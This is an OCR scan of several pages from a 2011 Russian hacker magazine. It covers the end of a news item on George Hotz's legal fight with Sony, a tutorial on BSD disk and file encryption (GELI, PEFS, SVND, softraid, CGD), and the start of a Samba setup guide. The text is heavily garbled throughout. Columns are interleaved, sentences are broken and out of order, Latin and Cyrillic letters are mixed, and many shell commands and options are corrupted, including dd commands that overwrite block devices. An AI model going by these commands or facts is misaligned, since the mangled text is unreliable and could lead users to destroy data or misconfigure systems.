заварушки он чувствует себя, как рыба в воде. Джордж развернул

шту р мова т ь

в Сети настоящую вое н ную кампанию

You Tube , Twitter, Google, PayPal и сайты вроде Slashdo t,

Geo Hot унывал. Н апротив , кажется , в цент р е этой - например , на очеред-

Kicksta rter и Github. Зачем? В поисках и нформации о других хакерах,

ные выпады

пр и частных ко вз л ому и распростра н ению це н ных секре тн ых да н ных.

YouTube . У ролика уже больше полутора миллионов просмотров, а в

So ny

он недавно ответил бодрым матерным рэпо м н а

Суд я по всему, не безрезул ьтатно, так как повестки начали приходить

песне

даже л юдям, которые п росто пр осматривали в и део-демонстрацию

для всех»

Fa ilOverflow н а YouTube l Команда , кстати , вынужд ена б ыл а закрыть

теперь публикуется оперативная хрон и ка про и сход ящего и мысли

свой сайт

fa ilOverflow.com и вывесить н а главной стра ни це п реду­ преждение, что вся сетева я акт и в н ость ими пр екращена, а YouTube-

автора. Так ч то н а

к а н алы и ли Face b ook-аккаУ Н ТbI име н и их гру п пы завед ены м ошен ни ­

Как это п ротивостояние будет развиваться дальше

ка м и , которые пы таются выклянчить н емно го дене г у се р добольной

Пока точ н о мож н о сказать ли ш ь одно

Geo Hot

:1.

факт ически объявляет себя «воп л ощением свобод ы

П о случаю Хот ц реанимировал и свой блог, в котором

geohot.com

мож н о найти все докуме н ты , факты,

явки и п аро л и , связа н ные с этой историй.

- скоро узнаем.

- Джордж Хотц не н амерен

п ублики . Затем Sony организовала массовую р асс ы лку, в которой

сдаваться без боя и уверен в своей правоте. И его , кстати , п оддер ­

н едвус м ысле нн о н а п ом н и л а пользова т еля м, что использова н ие

живают уже не только ком п ании и абстрактные сетевые массы, н о и

уст ройств взлома является на ру ш е н ием п ользовательского согла­

вполне конк р етные уважаемые люд и. Яркий тому при мер

ше н ия. За н епослушан и е компа н ия г розит юзерам вечным баном и

сор у н иверситета Карнеги-Меллон Дэвид Туре ц ки. Хватит ли всего

от ключением от се р висов

этого , чтобы побед и ть кор п орацию? Кто з н ает ... :х:

ХАКЕР

0 4 / 147/ 201 1

PlaySta tion Network

и

Qriocity.

- пр офес­

~

083


• • Евгений 30бнин Izobninragm aH. coml

J

- - - - -- - - - - -- -

-

-

'--- -- -

--- --- --- --- -- -

-

- --------

--.

ОСВ3ИSа8М-ЗаЩкry дакных -в-вso- Уже несколько раз мы писали о настройке шифрования дисков в

UNIX,

но каждый раз концентрировали внимание на инструментах,

доступных в

Linux,

обходя стороной ВSD-системы. В этой статье я

попытаюсь исправить этот недочет, рассказав о последних ново­

введениях систем шифрования, появившихея во

FreeBSD

Ситуация в мире шифрующего ПО для 85D-систем далеко не такая

вали поддержку шифрования в драйвер

интересная и захватывающая, как в

для создания программных RАID-массивов.

Linux. Здесь нет большого раз­

и

softraid, 8

OpenBSD.

предназначенный

этой статье мы рас­

нообразия сторонних коммерческих систем, нет постоянного флейма

смотрим все три шифрующие системы, их устройство , возможности и

на тему уязвимостей тех или иных реализаций, нет сторонних патчей

способы применения.

для ядра. Каждая из операционных систем уже давно обладает одной или несколькими реализациями шифрующих подсистем, хорошо до­

GЕЦ: чертовски классное

кументированных в тап-страницах и официально поддерживаемых

ШИСРРОl!ание

разработчиками ОС. Нодаже в таком идеальном мире должны проис­

GELI появился еще в шестой версии Free85D, но довольно продол­

ходить перемены, свидетелями которых мы и стали совсем недавно.

жительное время оставался в тени благодаря существованию тысяч

Особо отличились разработчики

устаревших документов и статей, написанных во времена четверки­

Free85D, которые в конце 201 О года

включили в разрабатываемую ветку ОС сразу два нововведения:

пятерки и рекомендовавших использовать для шифрования другие

доработанную реализацию GЕОМ-класса

средства. Сегодня

GELI,

который теперь ис­

GELI- это Fгее85D-стаНАарт дискового шифрова­

пользует современный [и пока еще нескомпрометированныйi метод

ния, рекомендованный к использованию в абсолютном большинстве

шифрования ХТ5 и стековую шифрующую файловую систему PEF5,

случаев. И появившаяся нетакдавно поддержка метода шифрования

предназначенную для шифрования отдельно взятых каталогов. Не­

ХТ5 только подтверждает это [отом, почемуХТ5 так важен, читай во

много раньше отмет ились мантейнеры Ореп85D, которые интегриро-

врезкеi.

~

084

ХАКЕР

Ok!1k7! 2011


epu utiHzation 100

80

K-sec

---

30,000

• sоnгэid • svnd

• sonrald • s,nd

25,000

60

20,000

40

15,000

20

10,000

Замеры производительности, опубликованные на

geekyschmidt.com: SVND медленнее crypto softraid,

к тому же

жреТ больше процессорного времени

XTS:

в чем профит?

в стиле

Unix-way

Первые криптографические системы использовали простое

Ключ

поблочное шифрование данных с помощью заданного

помощью команды split[l], а затем объединить их и передать команде

пользователем ключа. Блок данных просто извлекался из памяти,

geli

GELI можно спокойно разделить на несколько частей с

на стандартный вход:

шифровался и записывался обратно, то же самое происходило со следующим блоком и всеми остальными. Практически сразу была

I geli

# cat keyfilel keyfile2 keyfile3

init

- / dev/ da2

найдена п роблема такого подхода, которая заклю чалась в очень простом способе предугадывания хранимых в контейнере данных через сравнение разных шифрованных блоков. Чтобы решить проблему, были придуманы разные режимы шифрования, которые позволяли сделать результат шифрования даже одинаковых блоков данных уникальным. Самым распространенным из них стал режим

Зашифрованная виртуальность

СВС (Cipher Block СhаiпiпgJ, который п обитно ХОR'ил каждый следующий шифруемый блок с предыдущим так, чтобы на выходе

в отличие от всех остальных представл енных систем, ОрепВSD

получался уникальный результат. Одна ко у СВС тоже было несколько

производит шифрование свопа по дефолту:

проблем, которые позволяли применить против него различные виды атак, таких как multisсап, wаtегmагkiпg и атак на подмену. Другие изобретенные режимы шифрования также оказались в той

I grep swapenc vm. swapencrypt . enable= l

% sys ct1 -а

I head

-пl

или иной мере подвержены этим и другим видам атак, и сегодня осталось все г о несколько режи"Мов, уязвимость которых еще не

была доказана. И са м ый эффективный из них н'осит имя XTS.

и собрать исходники сuггепt-ветки

FreeBSD или скачать и устано­

вить ISО-образ девятки отсюда: ftp:!/ftp.freebsd .org/pubIFreeBSD!

5nap5hot5/2011 01/. Не задействуя новые возможности, его вполне GELI представляет собой класс модульной подсистемы дискового

можно использовать в шестой, седьмой и восьмой версиях системы.

ввода-вывода GEOM , что в переводе на русский означает«специаль­

GELI реализован в виде ядерного модуля geom_eli, который можно

ный модуль, пропускающий через себя запросы ввода-вывода». Мо­

загрузить прямо во время работы системы:

дуль можно подсунуть В уже существующий «пирог» из других подоб­ ных модулей, пол учив в результате шифрование данных на любом из

# k1d1oad geom_eli . ko

уров ней этого пирога. Так можно криптануть «голый» жесткий ди ск , раздел диска, файл, подключенный в качестве блоч н ого устройства ,

Или заставить делать это в автоматическом режиме:

сетевой диск и даже уже зашифрованный диск [подробнее об этом и многих других прелестях GEOM читай в моей статье «За нимател ь­

ная GЕОМ'етрия», о п убликован ной в 96-м HOMepe I

# echo 'geom_eli_1oad= "YES'"

» / boot/loader. conf

J. Класс GELI

поддерживает несколько алгоритмов шифрования [AES , Blowfish и

П осле этого необходимо сгенерировать ключ [5alt], который будет н у ­

3DES] с разной длиной ключа, умеет работать с хардва рн ыми крип­

жен для шифрования мастер-ключа, при меняемого для шифрования

тографическими устройствами , может шифр овать ко рневой раздел,

самих данных. Сделать это можно с помощью сле дую щей команды:

поддерживает двойные ключи [например, можно создать личный и корпоративный ключи , и они оба будут использованы для шифрова­

# dd if= / dev/ random of=-/ adl . key bs=64 count=l

ния диска], а также одноразовые ключи [для шифрования разделов с временными данными, таких KaK/tmp и swap]. Помимо уже упомя­

Дал ее необходимо инициализировать блочное устройство , которое

нутого XTS, не такдавно GELI обзавелся возможностью шифровать

потребуется для хранения зашифрованных дан н ых:

данные с использованием нескольких ключей, каждый из которых

применяется для шифрования своего набора блоков

Ic применением

ключей п о кругу] , что обеспечивает еще более надежную защиту от

# ge1i init -s 4096 -а

-К -/ adl.key - е AES \ hmac / sha512 -1 256 / dev / adl

различных видов атак [до GELI такая возможность была доступна только в линуксовом loop-aes]. Пока об н овле нн ый GELI недоступен в

Опция '-5 ' используется для указания длины блока (лучше исполь зо­

стабильной версии FreeBSD, и для его уста новки придется получить

вать значение 4096 [4 Кб], оно сов падает с размером блока файловой

ХАКЕР

04 /147/ 201 1


FreeBSD 9.0

использует режим шифрования XТS по

Ошибку загрузки

с зашифрованного диска

OpenBSD

легко исправить с помощью одной команды

умолчанию

системы и поэтому позволит

GELI

работать с максимальной про из­

Если шифруемый диск не является системным (не содержит в себе

водительностьюl, опция' -К' задает путь до сгенерированного ранее

корневой каталогl , его автоподключение можно настроить с помо­

ключа, опция '-е'

щью файла /еtс!гс.сопf вместо /boot/loader.conf:

целостности,

-

алгоритм шифрования, '-а'

-

алгоритм контроля

'-l' - дли ну кл юча для ал горитма шифрован ия.

В конце указывается подопытное блочное устройство. Замечу, что ни од на из опций не является обязательной, и для выбора дефолтовых

значений (256-битный AES без контроля целостностиl мы могли бы

geli_devices="adl" geli_ades lg_f1ags=" -k / etc / geli / adl . key" geli_adeslg_autodetach="NO"

указать только опцию '-К'.

Кроме того,

GELI не позволяет напрямую выбирать режим шифро­

Для шифрования разделов с временными данными

GELI позволяет

вания, поэтому во всех версиях ОС вплоть до девятой будет исполь­

использовать одноразовые ключи, автоматически генерируемые во

зован режим СВС, а в девятой

время подключения устройст ва:

- XTS Команда запросит пароль ,

который вместе с ключом будет использован для генерации мастер­

ключа (для доступа к данным понадобится и то, и Apyroel. После этого

# dd if= / dеv / rапdоm of= / dev/ adeslb Ьs=б4k

можно подключить

# geli

GELI кустройству, чтобы начать его использовать:

#

-d adeslb / dev/adeslb.eli

опеtimе

swароп

# geli attach -k -/ adl.k ey / dev / adl Но есл и необходимо включать шифрование

swap п ри каждой загруз­

После ввода пароля в каталоге /dev появится файл /dev/ad 1.eli, на

ке, то никаких команд выполнять не требуется. Достаточно просто до­

котором можно создать файловую систему и смонтировать ее:

бавить суффикс «.eli» к имени swар - раздела B/etc/fstab, и загрузоч­ ные скрипты сделают всю грязную работу за тебя. Например:

# dd if= / dev / random of=/ dev/ adl . eli

Ьs=б4 k

# newfs / dev / adl . eli

/ dev/ adeslb.eli

попе

swap sw

е е

# mount / dev / adl.eli / mnt Размонтирование и отключение GELI происходит в обратном по­

PEFS: файлы решают все

рядке:

Шифрующая файловая система

PEFS была добавлена во FreeBSD

практически одновременно с обновлением

# umount / mnt

GE L I, однако ее назначе­

ние совсем и н ое.

По своим характеристикам она гораздо ближе к fusе-ФС

# geli deta ch adl . еН

encfs

( епсfs.sf.пеt l, чем к системе шифрования блочных устройств. PEFS Чтобы ВНОВЬ получить доступ к зашифрованным данным, достаточно

работает поверх существующей файловой системы и не требует

снова набратьдве простые команды и ввести пароль:

гооt-привилегий, что делает ее идеальным решением для защиты

пользовательских п аролей, ключей, сертификатов и другой личной

# geli attach -k -/ adl.key / dev/ adl #

mоuпt

информации.

PEFS достаточно проста, но в то же время обладает отличными харак­

/ dev / adl.eli / mnt

теристиками:

Само собой разумеется, что файл-ключ

ad1.key лучше не хранить в

• работает внутри ядра , что в теории должно сделать ее быстрее

домашнем каталоге, а поместить на флешку.

аналогов, использующих

Чтобы шифрованный диск автоматическ и монтировался во время за­

• использует случайные векторы и н иц и ал и за ц ии для каждого файла,

грузки, необходимо изменить несколько конфигов. Файл /boot/loader.

благодаря чему две зашифрованные копии одного и того же файла

сопf должен содержать следующие строки:

будут выглядеть совершенно по-разному;

fuse;

• сохраняет размер шифруемого файла (что, однако, можно исполь­

geli_adl_keyfilee_load="YES" geli_adl_ keyfilee_type="adl : geli_keyfilee"

зоватьдля предугадывания его содержимогоl;

gеli_аdl_kе уfil е е_паmе= "/ Ьооt / аdl.kеу"

зашифрованных разными ключами в одном каталоге, а также позво­

• поддерживает произвольное ч исло ключей и смешивание файлов, ляет сменить ключ для уже зашифрованного файла;

А файл /etc/fstab нужно изменить так, чтобы имя блочного устройства содержало суффикс

«.eli». Например:

• поддерживает алгоритмы шифрования AES, Camellia и Salsa20; • поддерживает режим шифрования XTS; • поддерживает «рассеивания» содержимого файлов;

/ dev / adl . eli / home uf s rw 2 2

~

086

• работае т п оверх файловых систем UFS, ZFS и ext2; ХАКЕР

04/147/201 1


Каждый важный компонент ФС должен иметь соб­ ственный слайс в шифруемом RAID-томе • добавляет в систему РАМ-модуль для аутентификации пользовате­

Создать крипто- контейнер с помощью

SVND действи­

тельно просто

OpenBSD: о шифровании

лей по хранимому в файловой системе ключу.

в двух томах

PEFS уже полностью готова к испо л ьзованию и успешно проходит

Долгое время в

тесты

подсистема шифрования ди с ков под названием SVND [Safe Vпоdе

fsx, pjdfstest, blogbench

и

dbench.

OpenBSD су щ ест вовала только одна стандартная

Все выполненные разработчиками и энтуз и астами замеры по­

Disk Driver], реализованная с помощью дополнительной прослойки

казываю т примерно двукратное отстава н ие п роизводительности

для подк л ючен ия дисковы х устройств поверх друг друга. Однако в

по сравнению с голой файловой системой будет доступна только в девятой версии

UFS . Ка к и GE LI , PEFS

FreeBSD, н о пощупать ее

версии

4.4,

вышедшей в конце

2008

года, в дополнение к ней появи­

лась более « честная» поддер ж ка шифрования с помощью фрейм­

можно будет уже сейчас, необходимо только скачать исходники и

ворка

собрать их:

разгару ди с куссий на тем у : « что лучше»? Дискуссии длятся до сих

softraid, и пользователи обрели альтернативу, что привело к

пор, но я не собираюсь подд е рживать ту или иную реализацию. С

# portinstall git

практической точки зрения обе системы достойны того, чтобы со­

# git

существовать параллельно и применяться для различных целей.

с1опе

git ://github.com/ g1k / pefs . git pefs

# cd pefs

SVND очень проста в использовании и может быть применена в лю­

# make obj all

бой момент к любому устройству или файлу на диске, с ее помощью

# make install

возможно удобно и быстро создавать крипто-контейнеры, ко торые

# make

так же просто уничтожить и забыть об их существовании.

с1еап

Система

crypto softraid является частью софтверного RAID-ДРi3йвера ,

Далее можно протестировать новую разработ ку. Для этого необ х оди­

а потому сложнее в настройке, но более проста в плане сопровожде­

мо созда т ь новый каталог [назовем его secure]:

ния уже существующих крипто - дисков и защиты от сбоев. Заложе н­ ный в нее алгоритм шифрования «чище», безопаснее и производи­ тельнее своего аналога из

# mkdir -/ secure

SVND.

Никаких других выводов в пользу

SVND или crypto so ftraid у меня нет, поэтому мы рассмотрим оба

Смонтировать PEFS поверх этого каталога. По умолчанию эта опера­

варианта. Начнем с более простого, SVND . В OpenBSD [как , впрочем,

циятребуетправасуперпользователя, ноприсвоивпеременнойя дра

и во всех остальных BSD] есть псевдо-драйвер vnd[4], позволяющий

vfs.usermou п! з н аче н ие 1, можно снять такое ограничение [sysctl-w

отображать обычные файлы или блочные устройства в новые бло ч ­

vm.usermount= 11

ные устройства и, как следствие, мо н тировать их стандартным об­ разом.

SVND представляетсобой неболь шую прослойку, встроенную

в этот драйвер и п озволяющую производить шифрование блочных

# pefs mount - /s ecure -/ secure

устройств во время их отображения . Каталог останется доступным в режиме чтения. Чтобы получить воз­

Для работы стакими устройствами приме н яется ут и лита vпсопfig [ 81,

можность записи с шифрованием, необходимо создать ключ [здесь

кото р ая будет нашим основным инструментом. Кроме нее понадобит­

же можно задать алгоритм шифрования: по умолчанию

ся соль и образ, который будет хранить зашифрованные данные. Их

зует 256-битный

PEFS

исполь­

AES и режим шифрования CTR , но мы изменим эти

можно создать с помощью команды

dd:

предустановки ] :

# dd if= / dev / arandom of= / tmp / crypto . salt count=l

# pefs addkey

- а ае s 25б- хts

- / secure

Д алее можно проверить, что клю ч был добавлен успешно:

# pefs showkeys -/ secure

# dd if= / dev / zero of= / tmp / crypto. img bs=lm count=1e24 Далее образ можно отобразить в блочное устройст во:

# vnconfig

-с -К 2131313 / tmp / crypto. img

-s

/ tmp / crypto.sa1t / dev/ svnd13c \

и протестировать файловую систему: В от вет на запрос вводим пароль и п олучаем устройство

# echo "Very private data" > -/ s e cure / t e st

svndO в ката­

логе /dev. Его можно превратить в настоящий диск с помощью записи

# cat - / secure / test

MBR и таблицы ВSD-разделов [на самом деле , это не обязательно,

Very private data

файловую систему можно создать прямо на /dev/svndOc]:

# pefs unmount -/ secure

# fdisk - iy svnd13

# ls -1 -/ secure

# disk1abe1 - Е svnd13

ХАКЕР

04 / 147/ 20 11

~

087


Вводим команды «а а»,

жа тием

«W»

И

«q»,

на любые воп р осы отвечаем на­

<Enter>. Пол у ч аем ра здел «а», на не м можно создать новую

ные вопросы инсталлятора, ж д ем ус тан овки и п ерезаг р ужаемся.

На этом можно был о бы и закончить, но , как им бы стра нным это

ни казалось , при загрузке система начнет засы пать тебя кучей

файловую систему и смо нтир овать ее:

сооб щ е ний об ошибке монтирования. Н е ст оит волноваться, э т о

нормально, прос т о разработ чи к и еще н е успели обновить ск рипты

# newfs / dev / rsvndea

инициализации так, чтобы они научились определять наличие

# mount / dev / svndea / mnt

за шифрованных разделов и подключа т ь их в автоматическом

П осле за ли вк и файлов в ко нте йне р размонтируем его и ун ичтожим

режиме. Ско рее всего, в сле дую щи х вер сиях ОрепВ5О этот недо­

шифрую щ ее бл оч ное устройство:

чет исправят, и тебе потре буетс я только ввести парол ь во в р емя за гру зки ОС, од н ако пока придется выходить из си туации само­

# umount / mnt

ст ояте л ьно. Нажми

# vnconfig - u svnde

сле дую щ ей ко манды:

Смо нт ировать контейнер снова можнотак:

<Enter> и

подключи крипто -диск с помощью

# bioct1 -с С -1 / dev/wded soft r aide && exit

# vn config

- с -К 2еее -5 / tmp / crypto.sa1t / dev/ s vnde \ / tmp/cry pto . img # mount / dev/sv ndea / mnt

З агрузка продо лжится в нормальном режиме и все разделы будут без проблем подключены. Чтобы не заг р ужать свой мозг и руки вводом команды каждый раз, ее можно поместить в ск рипт и вызывать при загрузке.

С механизмом

crypto softraid все несколько сложнее. Мы будем

испол ьзовать его возмож но сти для создан и я зашифрова нн ой

NetВSD: старикам здесь место

файловой системы защ ищ енного н оута или се р вера. Для этого нам

Хоть эта статья и посвя щена новым веяниям в обла сти криптографии,

пона добится установочный диск О р епВ5О версии не ниже

4.4. Загру­

мы ни как не мо гли обойтись без описания то го, ч то нам может пред­

жаемся с компакт-диска. На во пр ос инсталлятора о способе загрузки

ложить

набираем

(Cгyptographic Device Driver], кото ры й хоть и не блещет количеством

«5»

и видим приглашение командного интерп р етатора.

NetB5D. У нее тоже есть свой шифрующий драйвер - CGD

Те п е р ь нам н ужно разметить диск так, чтобы создать небольшой

различны х алго ритмов и методов шифрования, но исправно работает

гооt-раздел (размером где-то 256 Мб], за ним помести т ь swар-раздел

уже очень давно (когд а то даже был порт ир ован в ОрепВ5О].

и добавить к этому основной раздел, который будет зашиф р ован с

Для е го конфигу риров ания используется ути ли та cg dc onfig( 8], кото­

помощью

рая позв оляет создать зашифрованный диск всего за два ш ага. Пер­

softraid. Д елаем:

вый шаг

- гене рир ование ко нфигурационного файла для шифруе­

мого устройства , он нужен для последующих вызовов утил иты (чтобы

# fdi sk - iy wde

не вбивать все за нов о] и ск риптов инициализации, подключ а ющи х

# disk1abe1 - Е wde

доступные крипто -устр ойства во время загрузки (мы не будем рас­ Ввод им команду « а а » и давим

<Enter> в от вет н а любые вопросы,

сматривать этот вариант] . Создадим конфиг для флешки sdO:

кроме «size» (в ответ на вопрос «size» вводим «256 М » ]. Это корне­ вой раздел. Далее набираем « а Ь », ук азываем размер своп-области

# cgdconfig -g -о / etc / cgd /s de aes - cb c

(например . «1 G»], на остальные вопросы - <Enter>. Вводим «а d». указ ыв аем н уж ный размер ос новн ого раздела или нажимаем <E nter>

Далее сконфигу рируем п севдоустройство

(чтобы использовать ве сь ди ск] . н а вопрос о ти п е файловой системы

ступать в качестве шифрующего бэк-энда к флешке , представленной

(F5 type] отвечаем «RAID». Этого требует crYpto softraid. Далее вво­

устройством / dev/sdO:

дим с та ндартные

«W»

И

cg dO, которое будет вы­

«q».

Чтобы активирова ть RАID-массив на разделе wdOd (кото рый на

# cgdconfig cgde / dev/s de

самом деле буде т простым зашифрованным томом], используем команду bioctl(8]:

После ввода п а роля уст р ойство будет готово к использованию. На нем можно создат ь файловую систем у и смонти р овать ее:

# bioct1

-с С

-r

б553 б

-1 / dev/ wded softraide # newf s / dev / cgde

Д важды вводим пароль. Ви ди м системное сообщение о появлении

диска

# mount / dev / cgde / mnt

sdO. Теперь можно за п устить инсталлятор: По окончании работы р аз монтир уе м файловую систе м у и отключаем

устройство

# / in stall Отвечаем на станда ртны е вопросы , выб ир аем диск

wdO для установ­

ки. На вопрос о том, какую часть ди ска мы хотим использовать (Use

cgdO:

# umount / dev / cgde # cgdconfig -u cgde

(W ]hole disk ... ], набираем «W» - весьдиск. На вопрос о ра скл а дк е диска (Use (A]uto layout ... ] отвечаем «С» , вновь попадаем в disklabel.

Чтобы вновь п одключить флешку, выполняем две команды:

На бираем « т а » (модификация раздела «а»], нажимаем <Enter> на все вопросы , кроме «mount point» (в ответ на «mount point»

# cgd config cgde / dev/ sde

указываем «/» ]. Далее вводим команды «W» И «q». Теперь в системе

# mount / dev / cgde / mnt

должен остаться оди н неиниц иализ ированный диск

sdO . Это наш

крипто-RАID, выбираем его, а в ответ на следующий во про с нажима ­ ем

<Enter>.

Вновь попадаем в

disklabel,

вводим «а а», задае м размер

«2 56М», в качестве точки монтирован ия указываем /altroo t. Создаем

Выводы В5D-системы н е стоят н а месте и постоянно развиваются. Техно'­ логии, считавшиеся стандартом несколько лет назад, отмирают ,

дополнительные разделы для точек монтирования / usr, /tmp, /var,

им на смену приходят н овые. Отрадно видеть, чт о с и с т емы крипто­

/roo t, /home и так далее . Они будут распо л агаться на за ш ифро­

защиты данных пр ог р ессируюттакже быстро. П ользуясь В5О, ты

ванном RAID-томе. Это все. Продолжаем отвечать на стандарт-

всегда будешь уве ре н в сох ранности сво и х данных. :Х:

~

088

ХАКЕР

0./147/ 2011


• •

iv (ivin sid e. bLog spot . coml

БРАЗИЛЬ ТАНЕ С БУБНОМ Настройка, ОПU1м~зация работы и обеспечение беЗОhасности ~аmЬа-кnиQнта в наши нелегкие времена, когда большинство пользователей сидит под виндой, обычному линуксоиду приходится подстраивать­ ся под обстоятеЛЬСТВ,а. Файл уже не передашь с помощью пс или NFS, а документ не распечатаешь удаленно через CUPS. Остается только использовать Samba, про тотальную настройку и оптимиза­ цию которой я сейчас и расскажу.

Ликвидация безграмотности

#

Samba - это свободная программная реализация протокола 5MB/

#

ер /ete / samba / smb. eonf . default / ete/ samba/smb. eonf / ete / rc. d/ samba start

CIFS. Этот протокол, нэйтивно поддерживаемый семейством ОС Windows, позволяет получать удаленный доступ к файлам и сетевым

в некоторых системах следует запустить два демона: smbd 'файло­

принте р ам. В винде рядовой пользователь может п овлиять ли ш ь

вый ] и nmbd 'демо н имен]. Собстве н но, за расшаривание п апок и

на минимум настроек, связанных с доступом, остальные же опции

прочие фун кци и отвечает серверная часть

глубоко скрыты в реестре либо отсутствуют вовсе. В никсах протокол

расшаренным на других компах

Sa тЬа, а за доступ к уже

- консольная утилита smbclient. В

5MB не является обязательным и не всегда доступен из коробки.

качестве фронт-энда к ней выступает часть функционала распро­

Для его использования требуется установить клиентскую ,для до­

страненных файловых менеджеров, таких как

ступа к уже расшаренным файлам и принтерам] и серверную ,для

В них настройка осуществляется не намного сложнее, чем в винде,

Dolphin

или

Nautilus.

расшаривания у себя на компе ] части. П осле установки следует

п оэтому здесь останавливаться не будем. Кроме

создать главный конфигурационный файл ' если его нет] и запустить

ствует еще ряд программ, облегчающих жизнь в консоли, кратко

smbc li ent

суще­

стартовый скрипт для активации серверной части. Например, для

рассмотрим наиболее используемые.

Arch Linux команды будут выглядеть так:

1. smbelient - клиент, который может общаться с 5MB-сервером. Он предлагает интерфейс, схожий с интерфейсом программы

#

~

раетап

090

-s samba smbelient

ftp. Среди его возможностей - получение файлов с сервера на ХАКЕР

04 / 147/ 201 1


45

40 35 30

25

.1

20

8 100 ф1йnов

<lвйл (100 Мб)

~

(п о 1мб)

links

• Официальный

15

сайт проекта 5атЬа:

10

samba .org ; До OIТlИмизации

После Оfпимизации

интересная статья

про настройку 5атЬа

Такие результаты получились у меня для бес­

в роли РОС:

проводного соединения

ru/base/net/samba

Мануал по

smb.conf удался

на славу -

8076

строчек

Текущее состояние дел:

pdc slackware .txt . html ; • русскоязычный

Samba 3.5

ресурс с множеством

Что нам готовит день

Основным нововведением в версии

opennet .

грядущий:

3.5 стала

статей и переводов

Samba 4.0

по теме:

smb-conf.ru .

экспериментальная поддержка протокола 5МВ2,

использующегося в системах Vistа/5е7еп. Благодаря

Проект 5атЬа4 более пяти лет развивается параллельно

значительному упрощению 5МВ2 (было бол ее 100

с 5атЬа3 и содержит почти полную переработку кода в

команд , а стал о 19! повысилась и ПJ'IQизводительность

контексте реализации работы в качестве

при передаче файлов. Среди прочих изменений:

toгy Oomain Controller !совместимый с Win2k и выше! и

Active Oirec-

1. Обеспечена 1ОО -н аносекундная точность установки

приведения поддерживаемо го 5МВ-протокола к полной

времени изменения или создания файлов (timestamp

совместимости с продуктами

resolution!. Для поддержки необходимо Liпuх- ядро

встроенный LOAP-сервер , поддерживающий

минимум версии

O i rectoгy правила; встроенный Kerberos КОС (Кеу

• Протокол CIF5

Oistribution Center! сервер; ACL в базе пользователей;

является преемником

2.6.22 и glibc 2.6.

2. Добавлена поддержка шифрования соеди н ений при выводе на печать через сервер производится через параметр

CUP5. Включение

«cups

encгypt».

Microsoft. Реализованы Active

виртуальная файловая система (Microsoft VF5! и так

протокола 5МВ, под­

далее.

держивается боль­

з. В Winbind проведен рефакторинг кода с целью

Основным нововведением разрабатываемой версии

реализации асинхронной обработки запросов.

станет возможность использования 5атЬа-сервера в

Windows

Н апример,

качестве контроллера домена

ством дру г их коммер­

«wbi nfo -g» или «wbinfo -u» теперь

выполняются в неблокирующем режиме.

Active

4.0

Oirectoгy. Да нн ая

шинством серверов

и множе­

возможность реализована в версиях 3.х, но в сильно

ческих серверов , а

урезанном виде. После трех лет разработки первый

также хранилищами

Последняя стабильная версия на данный момент

технический рел из 4.0.0ТР 1 был выпущен в январе

Network Attached

находится под номером

2006 года. Впоследствии альфа-релизы п оявл яются

5torage.

3.5.6 и вышла в свет 8 октября

2010 года.

регулярно. П оследняя версия декабря

4.0.0-alpha 14 выпущена 24

201 О года.

• у проекта сущест­ вует форк 5атЬа­

локальную машину, перемещение файлов с локал ь ной

THG,

который возник

машины на сервер , получе н ие с п иска папок с сервера

$ cat /etc/samba/smb. conf

в

итакдалее .

[global]

разногласий раз­

2. smbtree - 5МВ-обозреватель в текстовом режи­

;

ме. Аналог «Обозревателя сет и », сущест вую щ его н а

workgroup = WRKGRP

ком п ьютерах под управлением W indows. О т ображает

;

дерево всех доменов, сервера этих доменов и общие

securi ty = SHARE

Имя рабочей группы

Уровень безопасности

[myshare] ;

и размонтирование файловой системы Linux CIF5.

path = / usr/ somewhere / shared

Эти п рограммы работаюттолько в Linux, яд р о долж н о

;

поддерживать файловую систему

read only = Yes

для этих целей можно использовать команду

mou nt с

;

Абсолютный путь к разделяемому ресурсу

Доступ только на чтение

Доступ будет предоставлен с правами гостевого

аргументом .-! c ifs·, либо ·-i· (для размонтирования!.

пользователя

в старые версии паке та 5атЬа вход и ли ути л иты

guest ok = Yes

году из-за

работчиков, но так и не получил широкого распространения.

• В условиях много­

ресурсы на серверах.

3. mount .cifs и umount .cifs отвечают за монтирование

CI F5. Как вариа н т,

2000

(nobody)

пользовательского

доступа скорость

работы 5атЬа в качестве файлового и принт-сервера

более чем в два раза выше по сравнению

с

smbmount и smbumount , которые , по сути, заменены на

Win2k3 с теми же

mount.cifs и umount.c ifs.

Функц и о н альность этого конфига сводится к расшарива­

ролями [по исследо­

Пилим конфиг

н ию папки /usr/somewhere/shared для всех пользовате­

ваниям ITLabs!.

лей рабо ч ей гру п пы WRKGRP без возможности записи.

в конфиге 5атЬа доступно н есметное кол и чес т во

Конф и г состоит из нескольк и х сек ц ий (в да н ном случае

опций, п ри желании их все можно найт и в с п равоч н ой

двух! , в секции global о п ределяются общие п ара метры

страни ц е smb.conf(5 !. П оэтому для п рос тоты п р иведу

сервера, остальные секции могут называться произволь­

минимальный рабочий конф иг, а да л ее расскажу п ро

ными именами (за исклю ч ением и ме н специаль н ых сек­

наиболее ин т ересные пара метры , которые можно в

ций!, и в н их задаются наст ройки для каждого разделяе­

него добавить:

мого объекта (в п р имере и спользован объект myshare !.

ХАКЕР

0 4 / 1 47/ 201 1

~

091


Folder Sha rfng

Sh4f4!Mmr: r5~rr_

D

C;u~t ~CCr55 ('ог

p4!Oplr wlthout. U5rr .ccount)

Просматриваем доступные разделяемые ресурсы на

Создание шары в файловом менеджере

локальной машине

Nautilus:

быстро, но настроек минимум Для расшаривания принтеров существует специальная секция

9. directoгy mask - аналог предыдущей опции, только для директорий. 10. browseable - определяет, будет ли объект отображаться в списке

printers, которая в большинстве случаев имеет следующий ВИД:

досту п ных общих ресурсов в сетевом окруже н ии и в списке просмотра.

[print er s ]

_____

[ publi c]

= е4ее

path = / usr /s pool / public

create mask

guest ok = yes

di r ectory mask =

printable = ye s

path = / export /p ubli c

е7ее

writ eabl e = yes Для автоматической активации п ринтеров в секцию следует добавить строку

global также

«load printers = yes».

Другие важные параметры конфига:

writeable =

определяет, каким образом клиенты соединяются с

1. security -

сервером. В примере выше этот пара мет р был установлен в зна ч ение

SHARE -

[ arch ive] path = / export / ar chive

дл я такого соединения не будут за п рашиваться имя пользо­

по

br owsea bl e =

по

Тонкая настройка и оптимизация

вателя и пароль. В большинстве случаев используется значение USER,

Samba

которое подразумевает ввод логина и пароля существующего пользо­

ОДНОЙ из них является директива

вателя для доступа к шаре. Крометого, у этого пользователя должны

ствуетуниверсального способа добиться максимальной производи­

быть соответствующие права на содержимое папки.

тельности, так как все сети различны Iтип соединения, тип оборудо­

сп и сок хостов через п робел , с которых разрешен

2, hosts allow -

п редоставляет нам широкие возможности по оптимизации.

sockets options. Однако не суще­

в ания и такдалее l

